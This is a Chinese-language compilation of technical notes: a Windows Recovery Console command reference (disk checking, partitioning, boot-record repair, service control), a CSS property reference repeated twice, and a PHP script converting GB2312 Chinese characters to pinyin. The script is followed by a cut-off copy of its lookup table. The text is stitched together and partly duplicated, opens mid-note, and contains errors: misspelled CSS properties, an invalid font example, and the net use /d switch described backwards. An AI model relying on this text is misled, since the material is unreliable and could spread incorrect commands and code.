注意:这些结果被静态存储,并用于本次会话。如果在本次会话期间磁盘配置发生变化,为获得更新的扫
描,必须先重新启动计算机,然后再次扫描磁盘。
bootcfg /list 列出引导列表中已有的条目。
bootcfg /disableredirect 在启动引导程序中禁用重定向。
bootcfg /redirect [ PortBaudRrate] |[ useBiosSettings]
在启动引导程序中通过指定配置启用重定向。
范例:
bootcfg /redirect com1 115200
bootcfg /redirect useBiosSettings
hkdsk
创建并显示磁盘的状态报告。Chkdsk 命令还可列出并纠正磁盘上的错误。
含有下列参数的 chkdsk 命令仅在使用故障恢复控制台时才可用。可在命令提示符下使用带有不同参数的
chkdsk 命令。
vol [drive:] [ chkdsk [drive:] [/p] [/r]
参数 无
如果不带任何参数,chkdsk 将显示当前驱动器中的磁盘状态。
drive: 指定要 chkdsk 检查的驱动器。
/p 即使驱动器不在 chkdsk 的检查范围内,也执行彻底检查。该参数不对驱动器做任何更改。
/r 找到坏扇区并恢复可读取的信息。隐含着 /p 参数。
注意
· Chkdsk 命令需要 Autochk.exe 文件。如果不能在启动目录(默认为\ %systemroot%\ System32)中找
到该文件,将试着在 Windows 安装 CD 中找到它。如果有多引导系统的计算机,必须保证是在包含 Windows
的驱动器上使用该命令。
Diskpart
创建和删除硬盘驱动器上的分区。diskpart 命令仅在使用故障恢复控制台时才可用。
diskpart [ /add |/delete] [device_name |drive_name |partition_name] [size]
参数 无
如果不带任何参数,diskpart 命令将启动 diskpart 的 Windows 字符模式版本。
/add :创建新的分区。
/delete :删除现有分区。
device_name :要创建或删除分区的设备。设备名称可从 map 命令的输出获得。例如,设备名称:
\ Device\ HardDisk0
drive_name :以驱动器号表示的待删除分区。仅与 /delete 同时使用。以下是驱动器名称的范例:
D:
partition_name
以分区名称表示的待删除分区。可代替 drive_name 使用。仅与 /delete 同时使用。以下是分区名称的范
例:
\ Device\ HardDisk0\ Partition1
大小
要创建的分区大小,以兆字节 (MB)表示。仅与 /add 同时使用。
范例
下例将删除分区:
diskpart /delete \ Device\ HardDisk0\ Partition3
diskpart /delete F:
下例将在硬盘上添加一个 20 MB 的分区:
diskpart /add \ Device\ HardDisk0 20
Fixboot
向系统分区写入新的分区引导扇区。只有在使用故障恢复控制台时,才能使用 fixboot 命令。
fixboot [drive]
参数 驱动器
将要写入引导扇区的驱动器。它将替代默认的驱动器(即用户登录的系统分区)。例如,驱动器:D:
范例
下列命令范例向驱动器 D:的系统分区写入新的分区引导扇区:
fixboot d:
注意: 如果不带任何参数,fixboot 命令将向用户登录的系统分区写入新的分区引导扇区。
Fixmbr
修复启动磁盘的 主启动记录。fixmbr 命令仅在使用故障恢复控制台时才可用。
fixmbr [ device_name]
参数
device_name
要写入新的主引导记录的设备(驱动器)。设备名称可从 map 命令的输出获得。例如,设备名称:
\ Device\ HardDisk0
范例
下列命令示例向指定设备写入一个新的主引导记录:
fixmbr \ Device\ HardDisk0
注意
· 如果不指定 device_name,新的主引导记录将被写入引导设备,即装载主系统的驱动器。
· 如果系统检测到无效或非标准分区表标记,将提示用户是否继续执行该命令。除非您访问驱动器有
问题,否则不要继续进行。向系统分区写入新的主引导记录可能破坏分区表并导致分区无法访问。
Format
将指定的驱动器格式化为指定的文件系统。含有下列参数的 format 命令仅在使用故障恢复控制台时才可
用。可在命令提示符下使用带有不同参数的 format 命令。
format [ drive:] [ /fs:file-system]
参数
drive: :指定要格式化的驱动器。不能从故障恢复控制台格式化软盘。
/q :对驱动器进行快速格式化。不扫描驱动器看是否有坏区域,因此只应对以前格式化过的驱动器使用该
参数。
/fs:file-system :指定要使用的文件系统:FAT 、FAT32 或 NTFS 。如果未指定文件系统,将使用现有
的文件系统格式。
Map
显示驱动器号与物理设备名称的映射。该信息在运行 fixboot 和 fixmbr 命令时非常有用。
map 命令仅在使用故障恢复控制台时才可用。
Map [ arc]
参数
arc :指示 map 命令显示高级 RISC 计算 (ARC)设备名称而不是设备名称。以下是 ARC 设备名称的范例
:
multi(0)disk(0)rdisk(0)partition(1)
等价的设备名称是:
\ Device\ HardDisk0\ Partition1
范例
下例将物理设备名映射为使用 ARC 设备名称的驱动器号:
map arc
注意
· 如果不使用 arc 参数,则 map 命令显示设备名称。
· map 命令还显示文件系统的类型和每个磁盘的大小 (MB)。
第三部分:辅助操作和特殊功能命令
Cls
清除屏幕。
清除后的屏幕只显示命令提示符和插入点。
Disable
禁用 Windows XP 、Windows 2000 或 Windows NT 4.0 系统服务或设备驱动程序。disable 命令仅在使用
故障恢复控制台时才可用。
disable {service_name] |[ device_driver_name}
参数
service_name :要禁用的系统服务名称。
device_driver_name :要禁用的设备驱动程序名称。
范例
下例将禁用 Eventlog 服务:
disable eventlog
注意
· disable 命令将指定的服务或驱动程序的启动类型设为 SERVICE_DISABLED 。
· 使用 disable 命令禁用系统服务或设备驱动程序时,该系统服务或设备驱动程序上次启动类型的名
称将显示在屏幕上。应该记下该名称,以便在需要时使用 enable 命令将启动类型恢复为上次的设置。
· 共有五种启动类型。前三种类型是:SERVICE_AUTO_START 、SERVICE_DISABLED 和
SERVICE_DEMAND_START 。对应的标准启动类型:自动、禁用和手动,通常使用“计算机管理”管理工具中的“
服务”进行配置。后两种类型是:SERVICE_BOOT_START 和SERVICE_SYSTEM_START,通常用于配置加载设备驱动
程序的方式。例如,在启动计算机时或启动 Windows 时加载。
Enable
启用 Windows XP 、Windows 2000 或 Windows NT 4.0 系统服务或设备驱动程序。enable 命令仅在使用
故障恢复控制台时才可用。
enable {service_name |device_driver_name}[ startup_type]
参数
service_name :要启用的系统服务的名称。
device_driver_name :要启用的设备驱动程序的名称。
startup_type :要为服务或设备驱动程序指派的启动类型。有效的启动类型包括:
· SERVICE_BOOT_START
· SERVICE_SYSTEM_START
· SERVICE_AUTO_START
· SERVICE_DEMAND_START
范例
下例将 Eventlog 服务的启动类型设为自动或 SERVICE_AUTO_START:
enable eventlog service_auto_start
注意
· 如果不指派启动类型,enable 命令将列出在 service_name 中指定的服务或设备驱动程序的当前启
动类型。
· 使用 enable 命令更改启动类型时,上次启动类型的名称将显示在屏幕上。应该记下该名称,以便在
需要时将启动类型恢复为上次的设置。
Exit
关闭故障恢复控制台并重新启动计算机。exit 命令仅在使用“故障恢复控制台”时才可用。
exit
参数 无
Help
提供有关故障恢复控制台命令的联机信息。
help [ commandname]
参数 无
列出故障恢复控制台中提供的命令。
commandname
提供有关命令信息,包括命令使用的参数。
注意
· 有两种方法可以获得命令的联机帮助。可以指定 help 命令后的命令名称,或者可以在命令提示符中
键入该命令名称和 /?。开关。例如,键入下列命令可以获得有关extract 命令的信息:
help extract
extract /?
Listsvc
列出计算机上可以使用的服务和驱动程序。listsvc 命令仅在使用故障恢复控制台时才可用。
listsvc
参数 无
Logon
登录到 Windows 安装。logon 命令仅在使用故障恢复控制台时才可用。
logon
参数 无
注意
· logon 命令将列出所有检测到的 Windows 安装,需要安装的本地管理员密码才能登录。
· 如果 3 次登录尝试都失败,“故障恢复控制台”会退出并且计算机将重新启动。
Net use
将网络共享连接到驱动器号。含有下列参数的 net use 命令仅在使用故障恢复控制台时可用。在命令提示
符下可以使用带不同参数的 net use 命令。
语法
net use [ \ComputerName\ShareName [ /user:[ DomainName\ ] UserName] password] |[ drive
letter:] [ /d]
参数
\servername\sharename
指定服务器和共享资源的名称。如果 computername 包含空白字符,则将计算机名从双反斜杠 (\ 到计算
机名结尾用引号 ("括起来。计算机名长度可以是 1 到 15 个字符。
/user
指定建立连接的用户名。
域名
确认用户的凭据时所要使用的域名。
用户名
指定登录时使用的用户名。
密码
指定访问共享资源所需的密码。不输入密码,将给出要键入密码的提示。在密码提示行处键入密码时不显
示密码。
/d
表示将不断开该连接。
Set
显示和设置“故障恢复控制台”的环境变量。set 命令是必须与安全模板一同使用的可选命令。
含有不同参数的 set 命令仅在使用故障故障恢复控制台时可用。可在命令提示符下使用带不同参数的 set
命令。
set [ variable=[ string] ]
参数
variable
指定需要设置或修改的变量。
“故障恢复控制台”支持以下环境变量:
变量 说明
AllowWildCards 允许某些命令(如 del 命令)支持通配符。
AllowAllPaths 允许访问系统上的所有文件和目录。
AllowRemovableMedia 允许文件复制到可移动媒体上,如软盘。
NoCopyPrompt 覆盖现有文件时不显示提示。
string
指定要与指定变量关联的字符串。
范例
下例允许在某些故障恢复控制台命令中使用通配符:
set allowwildcards=true
指定要删除的目录的位置和名称。不能使用通配符。
注意
· 目录必须为空否则命令失败。
· Rmdir 仅适用于当前 Windows 安装的系统目录、可移动媒体、硬盘分区的根目录或本地安装源。
Systemroot
将当前目录设置为用户登录到的 Windows 安装系统的 systemroot 文件夹。systemroot 命令仅在使用故
障恢复控制台时可用。
颜色与背景类
color 设置文字颜色
#rgb
#rrggbb
rgb(255,255,255)
rgb(100%,100%,100%) H1{ color:red }
H1{ color:#f00 }
H1{ color:#ff0000 }
H1{ color:rgb(255,0,0) }
H1{ color:rgb(100%,0%,0%) }
background-color 设置背景颜色,格式同上。 BODY{ background-color:red }
BODY{ background-color:#f00 }
BODY{ background-color:#ff0000 }
BODY{ background-color:rgb(255,0,0) }
BODY{ background-color:rgb(100%,0%,0%) }
background-image 设置背景图片,
url(/imageURL) body{ backround-image:url(/back.jpg); }
background-repeat 设置背景图片是否重复排列:
repeat-x(X轴重复排列);
repeat-y(Y轴重复排列);
No-repeat(不重复排列) BODY{ background-repeat:repeat-x; }
BODY{ background-repeat:No-repeat; }
background-attachment 设定背景图片是否卷动,默认为卷动。
scroll(卷动)
fixed(不卷动) BODY{ background-attachment:fixed; }
background-position 设定背景图片或背景颜色开始显示的位置,取值格式:
top,buttom,left,right,center(用关键字)
70px 10px(用长度值)
50% 30%(用百分比) BODY{ background-position:right top; }
BODY{ background-position:50px 10px; }
BODY{ background-position:20% 50%; }
background 定义背景综合属性,不要求顺序,各属性值以空格分开。 BODY{ background:#ffcc00 url(/bg.jpg) fixed center }
字型类
font-family 设置字型属性,取值可以是任何字型名称,缺省为浏览器内定字型,可以设多个以逗号(,)分开,有空格的英文字型可用单引号或双引号括起来。 P{ font-family:宋体,楷体,黑体,"Time New Rom"; }
font-style 设定字型样式:Normal(正常),italic、objlique(斜体) P{ font-style:italic; }
font-variant 取值:Normal(默认),small-caps(如果是中文字型则将字型缩小显示,如果是英文则全部改为较小的大写) H3{ font-variant:small-caps; }
font-weight 设定字体粗细,取值有:
Normal(默认),bold,lighter,border,100,200...900
由于浏览器支持程度不同,一般只用normal和bold两种属性。 P{ font-weight:bold; }
font-size 设定字体的大小;
绝对大小:xx-small,x-small,small,mediumlarge,x-large,xx-large;
相对大小:larger,smaller;
数字表示可用单位:磅(pt),像素(px),英寸(in),厘米(cm);
亦可用百分比表示。 H2{ font-size:36pt; }
P{ font-size:200%; }
font 设定字型的综合属性,其顺序如下:
{ font-style font-variant font-weight font-size /line-height font-family; } P{ bold 12pt/14pt impact,Arial; }
文字类
letter-spacing 设定文字间距。 P{ letter-spacing:5pt; }
text-decoration 设定文字加上下划线、删除线等效果:
none(无)
underline(下划线)
overline(上划线)
line-through(删除线)
vertical-align 设定文字或图片垂直方向的对齐方式:
baseline:默认值 sub:下标 super:上标 top:垂直向上对齐 middle:垂直居中 bottom:垂直向下对齐。
text-transform 转换英文字母大小写:
none:默认值 capitalize:首字母大写 uppercase:所有英文字母大写 lowercase:所有英文字母小写。
text-align 设置文字的水平对齐方式:
left:左对齐 right:右对齐 center:水平居中 justify:左右对齐。
text-indent 设定标记元素内文字的首行缩进或配合margin-left属性设定首行凸排。
line-height 设定行高,声明方式有标准行高、固定值表示法、百分比行高、字型大小比例行高等。
列表类
list-style-type 有序列表的编号方式(供标记使用):
none:无编号 decimal:阿拉伯数字 lower-roman:小写罗马数字 upper-roman:大写罗马数字 lower-alpha:小写英文字母 upper-alpha:大写英文字母。
list-style-type 无序列表的符号样式(供
使用):
none:无符号 disc:实心圆符号 circle:空心圆符号 square:实心方形符号。
list-style-image 无序列表的自定义符号样式:
格式:url(图片名称) UL{ list-style-imag:url(/dd.gif); }
list-style-position 设置列表清单符号缩排属性:
outside:凸排 inside:缩排 UL{ list-style-imag:url(/dd.gif); list-style-position:outside; }
list-style 列表清单项目的综合设定,属性之间用空格隔开。 UL{ list-style-imag:url(/dd.gif) inside; }
边界及其相关类
margin 标记元素边界值的综合设定。(其规则见右边范例)
亦可以用margin-top、margin-right、margin-bottom、margin-left分开设定各边的边界。 声明4个值,其顺序为上、右、下、左边界,如:DIV{ margin:12pt 15pt 20pt 16pt; }
声明3个值,其顺序为上、右、下,缺少的左边界取其对边(右),如:DIV{ margin:12pt 15pt 16pt; }
声明2个值,其顺序为上、右,缺少的下、左边界取其对边,如:DIV{ margin:12pt 15pt; }
声明1个值,则4个边界同一个值,如:DIV{ margin:15pt; }
padding 设定标记内容与标记边框之间的留白的综合设定(规则见margin属性的范例)。 也可分开设定padding-top、padding-right、padding-bottom、padding-left各值。
border-width 标记元素边框宽度的综合设定(规则类似于margin属性)。 也可分开设定border-top-width、border-right-width、border-bottom-width、border-left-width各值。
border-color 标记元素边框颜色的综合设定(规则类似于margin属性)。颜色取值见color属性。 也可分开设定border-top-color、border-right-color、border-bottom-color、border-left-color各值。
border-style 标记元素边框样式的综合设定(规则类似于margin属性)。边框样式有solid,double,goove,ridge,inset,outset等。 也可分开设定border-top-style、border-right-style、border-bottom-style、border-left-style各值。
border 标记元素4个边框的综合设定,可以分别声明边框宽度、边框样式、和边框颜色。 DIV{ border:5pt solid #ff0000; }
width 设定标记元素的宽度。
height 设定标记元素的高度。
float 设定标记元素与文字间的相对位置(文字绕排方式)。取值:
none:以默认方式显示;
left:标记元素靠左,文字在右边绕排;
right:标记元素靠右,文字在左边绕排;
clear 设定标记元素与文字间的相对位置(与float不同的是标记元素两边都不绕排)。取值:none:以默认方式显示;
left:标记元素靠左,右边无文字绕排;
right:标记元素靠右,左边无文字绕排;
其他类
z-index 设定标记元素的堆叠层次,取值为整数,也可以是负数,数值大的在上层。
visibility 设定标记元素是否可见,取值有:
inherit:取默认值 visible:可见 hidden:不可见(隐藏)
以上只是列出了常用的CSS属性,及简要介绍其主要功能,若要了解各所有属性和具体的用法,请参考相关书籍。当然,实践是最好的提高办法。
color 设置文字颜色
#rgb
#rrggbb
rgb(255,255,255)
rgb(100%,100%,100%) H1{ color:red }
H1{ color:#f00 }
H1{ color:#ff0000 }
H1{ color:rgb(255,0,0) }
H1{ color:rgb(100%,0%,0%) }
background-color 设置背景颜色,格式同上。 BODY{ background-color:red }
BODY{ background-color:#f00 }
BODY{ background-color:#ff0000 }
BODY{ background-color:rgb(255,0,0) }
BODY{ background-color:rgb(100%,0%,0%) }
background-image 设置背景图片,
url(/imageURL) body{ backround-image:url(/back.jpg); }
background-repeat 设置背景图片是否重复排列:
repeat-x(X轴重复排列);
repeat-y(Y轴重复排列);
No-repeat(不重复排列) BODY{ background-repeat:repeat-x; }
BODY{ background-repeat:No-repeat; }
background-attachment 设定背景图片是否卷动,默认为卷动。
scroll(卷动)
fixed(不卷动) BODY{ background-attachment:fixed; }
background-position 设定背景图片或背景颜色开始显示的位置,取值格式:
top,buttom,left,right,center(用关键字)
70px 10px(用长度值)
50% 30%(用百分比) BODY{ background-position:right top; }
BODY{ background-position:50px 10px; }
BODY{ background-position:20% 50%; }
background 定义背景综合属性,不要求顺序,各属性值以空格分开。 BODY{ background:#ffcc00 url(/bg.jpg) fixed center }
字型类
font-family 设置字型属性,取值可以是任何字型名称,缺省为浏览器内定字型,可以设多个以逗号(,)分开,有空格的英文字型可用单引号或双引号括起来。 P{ font-family:宋体,楷体,黑体,"Time New Rom"; }
font-style 设定字型样式:Normal(正常),italic、objlique(斜体) P{ font-style:italic; }
font-variant 取值:Normal(默认),small-caps(如果是中文字型则将字型缩小显示,如果是英文则全部改为较小的大写) H3{ font-variant:small-caps; }
font-weight 设定字体粗细,取值有:
Normal(默认),bold,lighter,border,100,200...900
由于浏览器支持程度不同,一般只用normal和bold两种属性。 P{ font-weight:bold; }
font-size 设定字体的大小;
绝对大小:xx-small,x-small,small,mediumlarge,x-large,xx-large;
相对大小:larger,smaller;
数字表示可用单位:磅(pt),像素(px),英寸(in),厘米(cm);
亦可用百分比表示。 H2{ font-size:36pt; }
P{ font-size:200%; }
font 设定字型的综合属性,其顺序如下:
{ font-style font-variant font-weight font-size /line-height font-family; } P{ bold 12pt/14pt impact,Arial; }
文字类
letter-spacing 设定文字间距。 P{ letter-spacing:5pt; }
text-decoration 设定文字加上下划线、删除线等效果:
none(无)
underline(下划线)
overline(上划线)
line-through(删除线)
vertical-align 设定文字或图片垂直方向的对齐方式:
baseline:默认值 sub:下标 super:上标 top:垂直向上对齐 middle:垂直居中 bottom:垂直向下对齐。
text-transform 转换英文字母大小写:
none:默认值 capitalize:首字母大写 uppercase:所有英文字母大写 lowercase:所有英文字母小写。
text-align 设置文字的水平对齐方式:
left:左对齐 right:右对齐 center:水平居中 justify:左右对齐。
text-indent 设定标记元素内文字的首行缩进或配合margin-left属性设定首行凸排。
line-height 设定行高,声明方式有标准行高、固定值表示法、百分比行高、字型大小比例行高等。
列表类
list-style-type 有序列表的编号方式(供标记使用):
none:无编号 decimal:阿拉伯数字 lower-roman:小写罗马数字 upper-roman:大写罗马数字 lower-alpha:小写英文字母 upper-alpha:大写英文字母。
list-style-type 无序列表的符号样式(供
使用):
none:无符号 disc:实心圆符号 circle:空心圆符号 square:实心方形符号。
list-style-image 无序列表的自定义符号样式:
格式:url(图片名称) UL{ list-style-imag:url(/dd.gif); }
list-style-position 设置列表清单符号缩排属性:
outside:凸排 inside:缩排 UL{ list-style-imag:url(/dd.gif); list-style-position:outside; }
list-style 列表清单项目的综合设定,属性之间用空格隔开。 UL{ list-style-imag:url(/dd.gif) inside; }
边界及其相关类
margin 标记元素边界值的综合设定。(其规则见右边范例)
亦可以用margin-top、margin-right、margin-bottom、margin-left分开设定各边的边界。 声明4个值,其顺序为上、右、下、左边界,如:DIV{ margin:12pt 15pt 20pt 16pt; }
声明3个值,其顺序为上、右、下,缺少的左边界取其对边(右),如:DIV{ margin:12pt 15pt 16pt; }
声明2个值,其顺序为上、右,缺少的下、左边界取其对边,如:DIV{ margin:12pt 15pt; }
声明1个值,则4个边界同一个值,如:DIV{ margin:15pt; }
padding 设定标记内容与标记边框之间的留白的综合设定(规则见margin属性的范例)。 也可分开设定padding-top、padding-right、padding-bottom、padding-left各值。
border-width 标记元素边框宽度的综合设定(规则类似于margin属性)。 也可分开设定border-top-width、border-right-width、border-bottom-width、border-left-width各值。
border-color 标记元素边框颜色的综合设定(规则类似于margin属性)。颜色取值见color属性。 也可分开设定border-top-color、border-right-color、border-bottom-color、border-left-color各值。
border-style 标记元素边框样式的综合设定(规则类似于margin属性)。边框样式有solid,double,goove,ridge,inset,outset等。 也可分开设定border-top-style、border-right-style、border-bottom-style、border-left-style各值。
border 标记元素4个边框的综合设定,可以分别声明边框宽度、边框样式、和边框颜色。 DIV{ border:5pt solid #ff0000; }
width 设定标记元素的宽度。
height 设定标记元素的高度。
float 设定标记元素与文字间的相对位置(文字绕排方式)。取值:
none:以默认方式显示;
left:标记元素靠左,文字在右边绕排;
right:标记元素靠右,文字在左边绕排;
clear 设定标记元素与文字间的相对位置(与float不同的是标记元素两边都不绕排)。取值:none:以默认方式显示;
left:标记元素靠左,右边无文字绕排;
right:标记元素靠右,左边无文字绕排;
其他类
z-index 设定标记元素的堆叠层次,取值为整数,也可以是负数,数值大的在上层。
visibility 设定标记元素是否可见,取值有:
inherit:取默认值 visible:可见 hidden:不可见(隐藏)
以上只是列出了常用的CSS属性,及简要介绍其主要功能,若要了解各所有属性和具体的用法,请参考相关书籍。当然,实践是最好的提高办法。
PHP汉字转拼音模型
--------------------------------------------------------------------------------
代码:
引用
<?
$d=array(
array("a",-20319),
array("ai",-20317),
array("an",-20304),
array("ang",-20295),
array("ao",-20292),
array("ba",-20283),
array("bai",-20265),
array("ban",-20257),
array("bang",-20242),
array("bao",-20230),
array("bei",-20051),
array("ben",-20036),
array("beng",-20032),
array("bi",-20026),
array("bian",-20002),
array("biao",-19990),
array("bie",-19986),
array("bin",-19982),
array("bing",-19976),
array("bo",-19805),
array("bu",-19784),
array("ca",-19775),
array("cai",-19774),
array("can",-19763),
array("cang",-19756),
array("cao",-19751),
array("ce",-19746),
array("ceng",-19741),
array("cha",-19739),
array("chai",-19728),
array("chan",-19725),
array("chang",-19715),
array("chao",-19540),
array("che",-19531),
array("chen",-19525),
array("cheng",-19515),
array("chi",-19500),
array("chong",-19484),
array("chou",-19479),
array("chu",-19467),
array("chuai",-19289),
array("chuan",-19288),
array("chuang",-19281),
array("chui",-19275),
array("chun",-19270),
array("chuo",-19263),
array("ci",-19261),
array("cong",-19249),
array("cou",-19243),
array("cu",-19242),
array("cuan",-19238),
array("cui",-19235),
array("cun",-19227),
array("cuo",-19224),
array("da",-19218),
array("dai",-19212),
array("dan",-19038),
array("dang",-19023),
array("dao",-19018),
array("de",-19006),
array("deng",-19003),
array("di",-18996),
array("dian",-18977),
array("diao",-18961),
array("die",-18952),
array("ding",-18783),
array("diu",-18774),
array("dong",-18773),
array("dou",-18763),
array("du",-18756),
array("duan",-18741),
array("dui",-18735),
array("dun",-18731),
array("duo",-18722),
array("e",-18710),
array("en",-18697),
array("er",-18696),
array("fa",-18526),
array("fan",-18518),
array("fang",-18501),
array("fei",-18490),
array("fen",-18478),
array("feng",-18463),
array("fo",-18448),
array("fou",-18447),
array("fu",-18446),
array("ga",-18239),
array("gai",-18237),
array("gan",-18231),
array("gang",-18220),
array("gao",-18211),
array("ge",-18201),
array("gei",-18184),
array("gen",-18183),
array("geng",-18181),
array("gong",-18012),
array("gou",-17997),
array("gu",-17988),
array("gua",-17970),
array("guai",-17964),
array("guan",-17961),
array("guang",-17950),
array("gui",-17947),
array("gun",-17931),
array("guo",-17928),
array("ha",-17922),
array("hai",-17759),
array("han",-17752),
array("hang",-17733),
array("hao",-17730),
array("he",-17721),
array("hei",-17703),
array("hen",-17701),
array("heng",-17697),
array("hong",-17692),
array("hou",-17683),
array("hu",-17676),
array("hua",-17496),
array("huai",-17487),
array("huan",-17482),
array("huang",-17468),
array("hui",-17454),
array("hun",-17433),
array("huo",-17427),
array("ji",-17417),
array("jia",-17202),
array("jian",-17185),
array("jiang",-16983),
array("jiao",-16970),
array("jie",-16942),
array("jin",-16915),
array("jing",-16733),
array("jiong",-16708),
array("jiu",-16706),
array("ju",-16689),
array("juan",-16664),
array("jue",-16657),
array("jun",-16647),
array("ka",-16474),
array("kai",-16470),
array("kan",-16465),
array("kang",-16459),
array("kao",-16452),
array("ke",-16448),
array("ken",-16433),
array("keng",-16429),
array("kong",-16427),
array("kou",-16423),
array("ku",-16419),
array("kua",-16412),
array("kuai",-16407),
array("kuan",-16403),
array("kuang",-16401),
array("kui",-16393),
array("kun",-16220),
array("kuo",-16216),
array("la",-16212),
array("lai",-16205),
array("lan",-16202),
array("lang",-16187),
array("lao",-16180),
array("le",-16171),
array("lei",-16169),
array("leng",-16158),
array("li",-16155),
array("lia",-15959),
array("lian",-15958),
array("liang",-15944),
array("liao",-15933),
array("lie",-15920),
array("lin",-15915),
array("ling",-15903),
array("liu",-15889),
array("long",-15878),
array("lou",-15707),
array("lu",-15701),
array("lv",-15681),
array("luan",-15667),
array("lue",-15661),
array("lun",-15659),
array("luo",-15652),
array("ma",-15640),
array("mai",-15631),
array("man",-15625),
array("mang",-15454),
array("mao",-15448),
array("me",-15436),
array("mei",-15435),
array("men",-15419),
array("meng",-15416),
array("mi",-15408),
array("mian",-15394),
array("miao",-15385),
array("mie",-15377),
array("min",-15375),
array("ming",-15369),
array("miu",-15363),
array("mo",-15362),
array("mou",-15183),
array("mu",-15180),
array("na",-15165),
array("nai",-15158),
array("nan",-15153),
array("nang",-15150),
array("nao",-15149),
array("ne",-15144),
array("nei",-15143),
array("nen",-15141),
array("neng",-15140),
array("ni",-15139),
array("nian",-15128),
array("niang",-15121),
array("niao",-15119),
array("nie",-15117),
array("nin",-15110),
array("ning",-15109),
array("niu",-14941),
array("nong",-14937),
array("nu",-14933),
array("nv",-14930),
array("nuan",-14929),
array("nue",-14928),
array("nuo",-14926),
array("o",-14922),
array("ou",-14921),
array("pa",-14914),
array("pai",-14908),
array("pan",-14902),
array("pang",-14894),
array("pao",-14889),
array("pei",-14882),
array("pen",-14873),
array("peng",-14871),
array("pi",-14857),
array("pian",-14678),
array("piao",-14674),
array("pie",-14670),
array("pin",-14668),
array("ping",-14663),
array("po",-14654),
array("pu",-14645),
array("qi",-14630),
array("qia",-14594),
array("qian",-14429),
array("qiang",-14407),
array("qiao",-14399),
array("qie",-14384),
array("qin",-14379),
array("qing",-14368),
array("qiong",-14355),
array("qiu",-14353),
array("qu",-14345),
array("quan",-14170),
array("que",-14159),
array("qun",-14151),
array("ran",-14149),
array("rang",-14145),
array("rao",-14140),
array("re",-14137),
array("ren",-14135),
array("reng",-14125),
array("ri",-14123),
array("rong",-14122),
array("rou",-14112),
array("ru",-14109),
array("ruan",-14099),
array("rui",-14097),
array("run",-14094),
array("ruo",-14092),
array("sa",-14090),
array("sai",-14087),
array("san",-14083),
array("sang",-13917),
array("sao",-13914),
array("se",-13910),
array("sen",-13907),
array("seng",-13906),
array("sha",-13905),
array("shai",-13896),
array("shan",-13894),
array("shang",-13878),
array("shao",-13870),
array("she",-13859),
array("shen",-13847),
array("sheng",-13831),
array("shi",-13658),
array("shou",-13611),
array("shu",-13601),
array("shua",-13406),
array("shuai",-13404),
array("shuan",-13400),
array("shuang",-13398),
array("shui",-13395),
array("shun",-13391),
array("shuo",-13387),
array("si",-13383),
array("song",-13367),
array("sou",-13359),
array("su",-13356),
array("suan",-13343),
array("sui",-13340),
array("sun",-13329),
array("suo",-13326),
array("ta",-13318),
array("tai",-13147),
array("tan",-13138),
array("tang",-13120),
array("tao",-13107),
array("te",-13096),
array("teng",-13095),
array("ti",-13091),
array("tian",-13076),
array("tiao",-13068),
array("tie",-13063),
array("ting",-13060),
array("tong",-12888),
array("tou",-12875),
array("tu",-12871),
array("tuan",-12860),
array("tui",-12858),
array("tun",-12852),
array("tuo",-12849),
array("wa",-12838),
array("wai",-12831),
array("wan",-12829),
array("wang",-12812),
array("wei",-12802),
array("wen",-12607),
array("weng",-12597),
array("wo",-12594),
array("wu",-12585),
array("xi",-12556),
array("xia",-12359),
array("xian",-12346),
array("xiang",-12320),
array("xiao",-12300),
array("xie",-12120),
array("xin",-12099),
array("xing",-12089),
array("xiong",-12074),
array("xiu",-12067),
array("xu",-12058),
array("xuan",-12039),
array("xue",-11867),
array("xun",-11861),
array("ya",-11847),
array("yan",-11831),
array("yang",-11798),
array("yao",-11781),
array("ye",-11604),
array("yi",-11589),
array("yin",-11536),
array("ying",-11358),
array("yo",-11340),
array("yong",-11339),
array("you",-11324),
array("yu",-11303),
array("yuan",-11097),
array("yue",-11077),
array("yun",-11067),
array("za",-11055),
array("zai",-11052),
array("zan",-11045),
array("zang",-11041),
array("zao",-11038),
array("ze",-11024),
array("zei",-11020),
array("zen",-11019),
array("zeng",-11018),
array("zha",-11014),
array("zhai",-10838),
array("zhan",-10832),
array("zhang",-10815),
array("zhao",-10800),
array("zhe",-10790),
array("zhen",-10780),
array("zheng",-10764),
array("zhi",-10587),
array("zhong",-10544),
array("zhou",-10533),
array("zhu",-10519),
array("zhua",-10331),
array("zhuai",-10329),
array("zhuan",-10328),
array("zhuang",-10322),
array("zhui",-10315),
array("zhun",-10309),
array("zhuo",-10307),
array("zi",-10296),
array("zong",-10281),
array("zou",-10274),
array("zu",-10270),
array("zuan",-10262),
array("zui",-10260),
array("zun",-10256),
array("zuo",-10254)
);
function g($num){
global $d;
if($num>0&&$num<160){
return chr($num);
}
elseif($num<-20319||$num>-10247){
return "";
}else{
for($i=count($d)-1;$i>=0;$i--){if($d[$i][1]<=$num)break;}
return $d[$i][0];
}
}
function c($str){
$ret="";
for($i=0;$i<strlen($str);$i++){
$p=ord(substr($str,$i,1));
if($p>160){
$q=ord(substr($str,++$i,1));
$p=$p*256+$q-65536;
}
$ret.=g($p);
}
return $ret;
}
$pinyin = c($hanzi);
?>
<title>汉字转拼音</title>
<p>拼音:<?=$pinyin?><p>
<p><form action="tran.php" name="form1" method="get">汉字:<input name="hanzi" type="text" id="hanzi" size="100"><input type="submit" name="Submit" value="确定"></form></p>
$d=array(
array("a",-20319),
array("ai",-20317),
array("an",-20304),
array("ang",-20295),
array("ao",-20292),
array("ba",-20283),
array("bai",-20265),
array("ban",-20257),
array("bang",-20242),
array("bao",-20230),
array("bei",-20051),
array("ben",-20036),
array("beng",-20032),
array("bi",-20026),
array("bian",-20002),
array("biao",-19990),
array("bie",-19986),
array("bin",-19982),
array("bing",-19976),
array("bo",-19805),
array("bu",-19784),
array("ca",-19775),
array("cai",-19774),
array("can",-19763),
array("cang",-19756),
array("cao",-19751),
array("ce",-19746),
array("ceng",-19741),
array("cha",-19739),
array("chai",-19728),
array("chan",-19725),
array("chang",-19715),
array("chao",-19540),
array("che",-19531),
array("chen",-19525),
array("cheng",-19515),
array("chi",-19500),
array("chong",-19484),
array("chou",-19479),
array("chu",-19467),
array("chuai",-19289),
array("chuan",-19288),
array("chuang",-19281),
array("chui",-19275),
array("chun",-19270),
array("chuo",-19263),
array("ci",-19261),
array("cong",-19249),
array("cou",-19243),
array("cu",-19242),
array("cuan",-19238),
array("cui",-19235),
array("cun",-19227),
array("cuo",-19224),
array("da",-19218),
array("dai",-19212),
array("dan",-19038),
array("dang",-19023),
array("dao",-19018),
array("de",-19006),
array("deng",-19003),
array("di",-18996),
array("dian",-18977),
array("diao",-18961),
array("die",-18952),
array("ding",-18783),
array("diu",-18774),
array("dong",-18773),
array("dou",-18763),
array("du",-18756),
